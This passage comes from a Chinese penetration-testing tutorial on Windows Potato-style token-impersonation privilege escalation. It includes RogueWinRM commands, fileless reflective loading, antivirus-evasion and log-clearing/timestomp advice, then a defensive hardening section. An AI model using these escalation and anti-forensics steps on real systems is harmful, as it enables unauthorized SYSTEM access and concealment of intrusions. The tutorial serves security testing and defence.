spooler但这需要相应的权限可能触发告警。5.3 RogueWinRM 利用详解如果目标系统是Windows 10/Server 2019及以上并且启用了WinRMWindows远程管理服务但监听端口5985/5986未对公网开放那么RogueWinRM是一个值得尝试的方法。原理利用WinRM服务在本地环回地址上监听时的一个特性结合Potato的令牌模拟思想。使用方法检查WinRM服务状态和端口sc query winrm netstat -ano | findstr :5985如果WinRM服务正在运行但只绑定在127.0.0.1那么可以利用。上传RogueWinRM.exe工具并执行RogueWinRM.exe -p C:\Windows\System32\cmd.exe -a /c whoami C:\temp\test.txt执行成功后命令会以SYSTEM权限运行。这个工具的好处是无需指定复杂的CLSID但前提条件是WinRM服务可用且配置特定。6. 高级技巧与隐蔽化操作在真实的对抗环境中直接运行知名提权工具exe文件无异于“裸奔”。我们需要考虑如何绕过防御。6.1 内存加载与无文件执行避免在磁盘上留下提权工具的痕迹。PowerShell 反射加载将工具的.NET版本如SweetPotato的C#版本编译成DLL然后通过PowerShell的反射加载到内存中执行。$Assembly [System.Reflection.Assembly]::Load([IO.File]::ReadAllBytes(C:\Temp\SweetPotato.dll)) $SweetPotato [SweetPotato.Program]::Main((-p, cmd.exe))Cobalt Strike/PowerShell Empire这些高级框架内置了多种提权模块如getsystem它们通常使用纯内存操作或经过混淆的脚本来实现令牌模拟规避基于签名的检测。6.2 替代CLSID与协议发现当标准CLSID失效时需要自己寻找可用的COM对象。枚举本地COM对象使用Get-CimInstance Win32_COMSetting或检查注册表HKCR\CLSID。寻找其AppID对应的服务是否以SYSTEM运行并且该服务支持某些可触发连接的接口。研究其他协议Potato的本质是诱导本地认证。除了DCOM还可以研究其他本地RPC服务、ALPC端口等寻找可以触发连接的点。这需要深厚的Windows内部机制研究功底。6.3 清理痕迹提权成功后不要忘记清理。删除上传的工具二进制文件。清理命令历史如果适用。检查并清理可能产生的日志如Windows事件日志中的4688进程创建事件、4672特殊权限分配事件但这通常需要SYSTEM权限本身。使用meterpreter的timestomp功能修改文件时间属性使其与系统文件时间混杂。7. 常见问题排查与防御视角7.1 提权失败原因排查表问题现象可能原因排查步骤与解决方案JuicyPotato返回[!] CreateProcessWithTokenW Failed1. CLSID无效。2. 当前用户没有SeImpersonatePrivilege。3. 系统版本太新默认CLSID被修补。4. 杀软拦截。1. 运行whoami /priv确认特权。2. 尝试其他CLSID使用-c参数指定列表。3. 尝试使用PrintSpoofer或RogueWinRM。4. 将工具重命名或进行免杀处理。PrintSpoofer返回[-] Spooler service is not running打印后台处理程序服务未启动。1.sc query spooler确认。2. 尝试启动服务net start spooler需权限。3. 如果服务被禁用或无法启动放弃此方法。任何工具执行后无任何反应进程退出1. 杀软静态或动态查杀。2. 工具与系统架构不匹配x86 vs x64。3. 依赖项缺失如特定VC运行库。1. 在测试环境确认工具本身可用。2. 使用systeminfo查看系统类型使用对应版本工具。3. 尝试使用纯.NET或PowerShell版本的工具。能创建进程但权限未提升令牌模拟成功但创建新进程时使用了错误的创建方式如CreateProcessAsUservsCreateProcessWithToken。对于Juicy Potato尝试不同的-t参数如-t t仅尝试CreateProcessWithToken或-t u仅尝试CreateProcessAsUser。收到Access is denied错误当前令牌权限不足无法进行关键操作如打开特定进程、复制令牌。检查是否拥有SeDebugPrivilege用于进程操作或SeImpersonatePrivilege用于模拟。可能需要先进行其他方式的提权如利用内核漏洞来获得这些特权。7.2 从防御角度看如何防范了解攻击是为了更好的防御。作为系统管理员或安全工程师可以采取以下措施遵循最小权限原则确保服务账户只拥有其运行所必需的最小权限。仔细审查并移除非必要的SeImpersonatePrivilege和SeAssignPrimaryTokenPrivilege。启用Windows Defender Credential Guard在支持的系统上如Windows 10/11 Enterprise, Server 2016启用Credential Guard可以隔离LSASS进程使攻击者无法从内存中直接窃取令牌或哈希这对Token Impersonation是很好的缓解。实施受控文件夹访问或应用程序控制通过WDAC或AppLocker限制非授权二进制文件的执行阻止攻击者上传和运行提权工具。监控与告警监控具有SeImpersonatePrivilege的非标准服务账户的进程创建行为。监控lsass.exe的句柄打开请求特别是来自非系统进程的。监控非常规的本地RPC/DCOM连接请求。使用Sysmon等工具记录详细的进程创建日志Event ID 1并关注父进程是服务或COM激活的异常子进程。及时更新系统微软会通过更新修补用于Potato攻击的特定CLSID和协议漏洞。保持系统更新可以防范已知的利用路径。禁用不必要的服务如非必需禁用打印后台处理程序服务Spooler和WinRM服务可以切断PrintSpoofer和RogueWinRM的攻击路径。在我个人的渗透测试经历中Token Impersonation和Potato类提权是内网横向移动和权限提升的“常规武器库”。它们的成功不依赖于未修补的远程漏洞而是依赖于系统配置和默认的信任模型。因此对于攻击方掌握它们意味着在看似严密的防御中找到了“制度的缝隙”对于防御方理解它们则提醒我们权限配置和系统加固与修补漏洞同等重要。真正的安全是一个持续的过程而非一劳永逸的状态。每次测试我都会反复验证这些手法的有效性同时也时刻关注着新的绕过技术和防御策略的出现这正是一场永不停歇的攻防博弈。
